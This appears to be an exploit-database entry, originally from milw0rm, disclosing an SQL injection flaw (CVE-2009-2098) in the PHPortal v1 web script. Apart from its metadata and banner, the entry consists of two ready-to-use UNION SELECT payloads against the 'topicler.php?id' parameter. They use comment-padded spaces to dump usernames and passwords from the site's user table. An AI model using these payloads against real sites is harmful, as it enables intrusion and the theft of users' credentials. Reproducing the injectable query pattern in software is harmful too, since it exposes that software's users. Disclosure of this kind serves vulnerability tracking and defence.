PHPortal 1 - 'topicler.php?id' SQL Injection

Author: Mehmet Ince
type: webapps
platform: php
port: nan
date_added: 2009-06-14 
date_updated: 2009-06-15 
verified: 1 
codes: OSVDB-55177;CVE-2009-2098 
tags: 
aliases:  
screenshot_url:  
application_url: 

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=
=                                 XORON 2009(C)
=
=              Phportal v1 Remote SQL Injection Vuln.
=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=
= Script:   Phportal(http://phportal.mertindualari.com)
= Price:    Free
=
= Author: xoron
=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=
= BUGS
=
=  Sql Injections:
=      /topicler.php?id=13/**/union/**/select/**/0,parola/**/from/**/uyeler/*
=      /topicler.php?id=13/**/union/**/select/**/0,kulladi/**/from/**/uyeler/*
=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

# milw0rm.com [2009-06-15]